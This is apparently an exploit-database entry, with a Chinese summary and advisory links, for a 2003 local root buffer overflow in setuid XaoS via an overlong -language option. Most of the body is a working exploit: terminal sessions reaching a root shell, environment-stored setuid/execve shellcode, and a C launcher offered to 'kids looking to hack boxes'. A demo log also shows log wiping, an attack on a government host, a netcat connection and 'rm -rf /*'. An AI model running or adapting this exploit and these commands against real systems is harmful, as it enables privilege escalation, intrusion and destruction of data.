https://www.exploit-db.com/exploits/22748
https://www.securityfocus.com/bid/82780
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200307-003

Xaos3.0-23及其更早版本运行setuid时存在缓冲区溢出漏洞。本地用户可以借助一个超长-language选项获得根权限。

/*
source: http://www.securityfocus.com/bid/7838/info

It has been reported that Xaos is vulnerable to a boundary condition error in the command option processing. Because of this, an attacker may be able to gain elevated privileges, potentially compromising the integrity of the host.
*/

/* xaos <= 3.0-23 ? 0day local root xploit on debian 3.0 whoody          
    */
/*      by: bazarr                                                         
  */
/*      [email protected]                                                  
  */
/* 	bazarr episode #4						     * 
 										

*hendy* i dont build nests for da winter, cause i dont have no time for bui
lding nests

dis is da advisory and xploit at da same time for a local root hole in debi
an 3.0. 
if dave censor dis he out of his mind! dis my second local root xploit in a
 week!
when bugtraq be heading down south to county jail quick wid all da cross si
te scripting bugs
and advisorys for hoolio's ftpd servers (WHO DA HELL IS HOOLIO). lets be re
al about dis
advisorys for non popular software are a dime a dozen. i da first young boy
 to come around 
wid real advisorys in many a months. so please gimmie small break. 

i release more advisorys den combined times dvdfairy has DoS'd phrack.ru

dats alot!

--- You have been kicked from #openbsd by Dianora
(I have been coding before you were even a glint in your fathers eye. go aw
ay)

dianora when i finish "da design and implementation of da 4.4bsd operating 
system" (A BOOK)
i be back to challenge you on bsd kernel , den you have no choice but to le
t me stay and give me +v in #openbsd.
thank you. (she kicked young 16 year old boy out of channel for xposing rem
ote hole in default install!) 

ok lets take a look at the vendor info for xaos:

DESCRIPTION
       XaoS  is a protable real-time interactive fractal zoomer/morpher.  U
NIX version works under X11, SVGA and text terminals.  If you don't knwo wh
at fractal is or you want
       to know more about XaoS features you should see animated tutorial.  
 Run XaoS and press 'H' twice.  It is much more fun than reading of boring 
manual  page  :)  and  it
       supports foregin languages. You might also read  xaos.info file for 
some advanced stuff (like how to write animations and tutorials manually, p
ort or extend XaoS, algo�
       rithms used etc.)

first thing dat i spot is spelling mistake please patch 'knwo' into 'no' as
ap.

so we know dat xaos is a program which you zoom around in when you get real
 stoned(seriously). 
lets get to da local root hole in xaos. 

lets take a look at my terminal session wid xaos: 

c00l@debian:~/code/dump% ls -al xaos
ls: xaos: No such file or directory
c00l@debian:~/code/dump% #well it aint here so lemme get back to da irc 
c00l@debian:~/code/dump% #wait a second! i got an idea
c00l@debian:~/code/dump% ls -al /usr/bin/xaos 
-rwsr-xr-x    1 root     root       379324 Apr  3  2001 /usr/bin/xaos
c00l@debian:~/code/dump% #suid root?! dat mean if it xploited it will resul
t in uid = 0 
c00l@debian:~/code/dump% #what will i do now?

now what i be doin is dis , bare wid me here fellow security researches (lc
amtuf you able to keep up wid dis?) 
lets keep going into dis adventure, lets check if you be vulnerable

c00l@debian:~/code/dump% #ok now we be checking if dis xaos is vulnerable t
o 0day bug which i have discovered 
c00l@debian:~/code/dump% /usr/bin/xaos -language `perl -e 'print "A"x2049'`
^C
c00l@debian:~/code/dump% #ok im not vulnerable i guess
c00l@debian:~/code/dump% #w8 i have an idea!
c00l@debian:~/code/dump% /usr/bin/xaos -language `perl -e 'print "A"x20049'
`
Segmentation fault
c00l@debian:~/code/dump% #aww crap i be vulnerable , what now?


after auditing for many a days and many a nights to find dis bug i am still
 weary from all of it. 
so lemme try and keep on going through dis adventure wid xaos, lets try and
 xploit it dis time. 

c00l@debian:~/code/dump% ./set #dis put shellcode in enviroment with many a
 0x90 around it 
[c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "x45xfexffxbf"x809
6'` -display A
Segmentation fault
[c00l:dump]$ #its not xploitable i guess 
[c00l:dump]$ #w8 i got an idea
[c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "x45xfexffxbf"x809
6'` -display AA
Segmentation fault
[c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "x45xfexffxbf"x809
6'` -display AAA
Segmentation fault
[c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "x45xfexffxbf"x809
6'` -display AAAA
sh-2.05a# id ; uname -a
uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l)
Linux debian 2.4.18 #2 SMP Tue Nov 5 21:10:53 EST 2002 i686 unknown
sh-2.05a# # I DID IT 
sh-2.05a# exit    
exit
[c00l:dump]$ #be ethical and just run uname ; id and exit , thanks!

woa dis be going too fast for some security researchers let me slow down an
d xplain dis. 

xaos be doing somthing like dis wid its -language argument 

++++++++
char hoolio[4096]; //big as to not allow stack overflow

strcpy(hoolio,argv[i]) //secure
++++++++

but it is NOT secure , a attacker is able to overflow 'hoolio' wid his own 
data!
den he overwrite da saved return address on da stack with his own and den h
e execute a shell. 

-------------
ENDING 

xaos is vulnerable to a stack buffer overflow which be yeilding root privle
ges on debian 3.0 (w00dy) 

-------------	
PATCH

see many a people dont understand dis issue, i am young highschool boy 
doing many a bleeding edge freelance security work for free , it not my job
 to provide patch 
and pamper you. but if you really dont want to get hacked with many a 0day 
xploits just dont go online
and dont make fun of caddis cuz he be xploiting your ftpd in record time to
 rm you(seriously man). 

-------------	
VENDORS NOTIFYED

none

-------------	
VENDORS VULNERABLE

debain 3.0 & unstable on default install!!!
FreeBSD x.x ports! 
OpenBSD x.x ports!
NetBSD x.x ports!!! 
anyone who installed xaos!

-------------
XPLOIT 

as i promised , dis is da xploit!. if my code looks hoodly poodly its cuz
 
i have trouble programming after last nights crystal meth ride. 

demonstation:

[pan@****.kr]$ cc bazarr-episode-4.c
[pan@****.kr]$ ./a.out aaaa
[*] bazarr :)
sh-2.05a# id
uid=1003(pan) gid=1003(pan) euid=0(root) groups=1003(pan)
sh-2.05a# rm -rf /var/log 
sh-2.05a# cc b.c 
sh-2.05a# ./a.out -t 39 -h ****.xxtax.gov.cn -s 90 -b 
.... ..... .... .... .... ....
done. 
sh-2.05a# nc ****.xxtax.gov.cn 31337
sh: nc: command not found
sh-2.05a# rm -rf /* & exit

just compile and run!!! so user friendly its not even funny!
the 'a's are stack padding for da xaos , try 1-4 'a's
woa hey i just made a fool of myself! i dident need any stack padding there
.

dis C-code is very complex , do not attempt to modify it. 

it is very user friendly though for da following groups:

1. 22 year old php programming cs students
2. younger kids looking to hack boxes! (I LOVE DIS GROUP)
3. professional security researches to make money off highschool boy by usi
ng dis xploit on der clients and charging dem for it
4. elite lurking blackhat laughing at my codez! (I CANT SAY I LIKE DIS GROU
P ALL DAT MUCH) 

AND NOW THE WORLDS FIRST 4 LINE ROOT XPLOIT PROGRAMMED IN C BY BAZARR

*/

char c[] = "x31xc0x31xdbxb0x17xcdx80x31xc0xb0x0bx99x52x68
x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xcdx80";
int main(int cc,char **a) {char x[256];char b[72000];memset(b,0x99,sizeof(b
));;;memcpy(b+71968,c,strlen(c));/**/;;b[sizeof(b)]=0;;setenv("C",b,1);
if (!a[1]){printf("[*] bazarr :(n");exit(1);};/**/;;sprintf(x,"/usr/bin/xa
os -language `perl -e 'print 
"x45xfexfexbf"x8096'` -display %s",a[1]);;;printf("[*] bazarr :)n");
system(x);}

/* 


-------------
ADVANCE WARNING 

double free() bug in popular suid root application installed by default on 
debian 3.0 comming soon!
remote xploit for debian application comming soon!

and so many more i cannot even list dem all(SERIOUSLY). 

16 year old boy release more bugs in few weeks den your whole crew does in 
da last 5 years!
i think most of you be a little bitter about dat and dats why you some of y
ou be anti bazarr. 
your company should stick to hoolio's ftpd server. 

-------------
GREETS

sir hackalot - you cool man! you like the 2pac of hacking. what ever happen
d to you and PHAZE? it been awhile!

-------------
BYE

bye bye guys i gotta go feed the dog and work on math homework.

bye.

-bazarr


*/

Debian Linux 3.0.23 Woody

Debian Linux 3.0.18 Potato

来源:DEBIAN
名称:DSA-310
链接:http://www.debian.org/security/2003/dsa-310
来源:BUGTRAQ
名称:20030605BAZARRLOCALROOTAGAIN.HIGUYS.DONTREADTHIS
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105491469815197&w;=2